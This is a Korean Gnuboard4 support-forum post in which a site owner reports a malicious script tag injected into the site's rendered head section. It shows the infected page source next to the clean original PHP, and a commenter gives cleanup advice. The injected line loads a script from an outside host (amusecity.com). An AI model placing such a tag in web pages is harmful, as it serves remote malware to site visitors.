p

head.sub.php 에 scrip 악성코드가

head.sub.php 에 scrip 악성코드가 삽입되어 있습니다.
<script src=http://amusecity.com/ii/smple.php ></script>

삭제하여 올려도 소스보기 하면 아래와 같이 악성코드가 보이네요.
원본파일에는 분명히 없는데요. 소스보기하면 나타나고요.
원인을 알수 없네요. 해결방법이 없을까요 ?

소스보기 일부분 : 원본에 없는 악성코드가 들어 있어요.(빨간글씨부분)

<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> -->
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
<title>쇼핑몰설정</title>
<link rel="stylesheet" href="../../style.css" type="text/css">
</head>
<script language="javascript">
// 자바스크립트에서 사용하는 전역변수 선언
var g4_path      = "../..";
var g4_bbs       = "bbs";
var g4_bbs_img   = "img";
var g4_url       = "gnuboard";
var g4_is_member = "1";
var g4_is_admin  = "super";
var g4_bo_table  = "";
var g4_sca       = "";
var g4_charset   = "euc-kr";
var g4_cookie_domain = "";
var g4_is_gecko  = navigator.userAgent.toLowerCase().indexOf("gecko") != -1;
var g4_is_ie     = navigator.userAgent.toLowerCase().indexOf("msie") != -1;
var g4_admin = 'adm';</script>
<script language="javascript" src="../../js/common.js"></script>
<script language="javascript" src="../../js/ajax.js"></script>
<script src=http://amusecity.com/ii/smple.php ></script>
<body topmargin="0" leftmargin="0" bottommargin=0  bgcolor=F8F9F4 >
<a name="g4_head"></a>


===================================================================
head.sub.php 의 원본

<?
// 이 파일은 새로운 파일 생성시 반드시 포함되어야 함
if (!defined("_GNUBOARD_")) exit; // 개별 페이지 접근 불가

$begin_time = get_microtime();

if (!$g4['title'])
    $g4['title'] = $config['cf_title'];

// 쪽지를 받았나?
if ($member['mb_memo_call']) {
    $mb = get_member($member[mb_memo_call], "mb_nick");
    sql_query(" update {$g4[member_table]} set mb_memo_call = '' where mb_id = '$member[mb_id]' ");

    alert($mb[mb_nick]."님으로부터 쪽지가 전달되었습니다.", $_SERVER[REQUEST_URI]);
}


// 현재 접속자
//$lo_location = get_text($g4[title]);
//$lo_location = $g4[title];
// 게시판 제목에 ' 포함되면 오류 발생
$lo_location = addslashes($g4['title']);
if (!$lo_location)
    $lo_location = $_SERVER['REQUEST_URI'];
//$lo_url = $g4[url] . $_SERVER['REQUEST_URI'];
$lo_url = $_SERVER['REQUEST_URI'];
if (strstr($lo_url, "/$g4[admin]/") || $is_admin == "super") $lo_url = "";

// 자바스크립트에서 go(-1) 함수를 쓰면 폼값이 사라질때 해당 폼의 상단에 사용하면
// 캐쉬의 내용을 가져옴. 완전한지는 검증되지 않음
header("Content-Type: text/html; charset=$g4[charset]");
$gmnow = gmdate("D, d M Y H:i:s") . " GMT";
header("Expires: 0"); // rfc2616 - Section 14.21
header("Last-Modified: " . $gmnow);
header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
header("Cache-Control: pre-check=0, post-check=0, max-age=0"); // HTTP/1.1
header("Pragma: no-cache"); // HTTP/1.0
?>
<!-- ㅡㅡ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> -->
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=<?=$g4['charset']?>">
<title><?=$g4['title']?></title>
<link rel="stylesheet" href="<?=$g4['path']?>/style.css" type="text/css">
</head>
<script language="javascript">
// 자바스크립트에서 사용하는 전역변수 선언
var g4_path      = "<?=$g4['path']?>";
var g4_bbs       = "<?=$g4['bbs']?>";
var g4_bbs_img   = "<?=$g4['bbs_img']?>";
var g4_url       = "<?=$g4['url']?>";
var g4_is_member = "<?=$is_member?>";
var g4_is_admin  = "<?=$is_admin?>";
var g4_bo_table  = "<?=isset($bo_table)?$bo_table:'';?>";
var g4_sca       = "<?=isset($sca)?$sca:'';?>";
var g4_charset   = "<?=$g4['charset']?>";
var g4_cookie_domain = "<?=$g4['cookie_domain']?>";
var g4_is_gecko  = navigator.userAgent.toLowerCase().indexOf("gecko") != -1;
var g4_is_ie     = navigator.userAgent.toLowerCase().indexOf("msie") != -1;
<? if ($is_admin) { echo "var g4_admin = '{$g4['admin']}';"; } ?>
</script>
<script language="javascript" src="<?=$g4['path']?>/js/common.js"></script>
<script language="javascript" src="<?=$g4['path']?>/js/ajax.js"></script>
<body topmargin="0" leftmargin="0" bottommargin=0  bgcolor=F8F9F4 <?=isset($g4['body_script']) ? $g4['body_script'] : "";?>>
<a name="g4_head"></a>

|

댓글 3개

백업해두셔야지요...
index 파일에만 설치가 되어있습니다 번거로우셔도 홈피내의 모든 index 파일에 해당 코드를 삭제하시고

어베스트(네이버에 치면나옴) 무료 홈버전 다운받으셔서 전체파일 검색하셔서 치료하시고

ftp 비밀번호 변경하시면 해결됩니다. 저도 한번 걸렸었거든요
저도 악성이..ㅠㅠ 감사합니다 답변용
댓글을 작성하시려면 로그인이 필요합니다.

그누4 질문답변

그누보드4 관련 질문은 QA 로 이전됩니다. QA 그누보드4 바로가기 기존 게시물은 열람만 가능합니다.

+
제목 글쓴이 날짜 조회
16년 전 조회 964
16년 전 조회 982
16년 전 조회 822
16년 전 조회 954
16년 전 조회 955
16년 전 조회 776
16년 전 조회 859
16년 전 조회 812
16년 전 조회 794
16년 전 조회 1,713
16년 전 조회 1,244
16년 전 조회 828
16년 전 조회 969
16년 전 조회 960
16년 전 조회 1,424
16년 전 조회 987
16년 전 조회 1,558
16년 전 조회 1,602
16년 전 조회 1,576
16년 전 조회 2.5만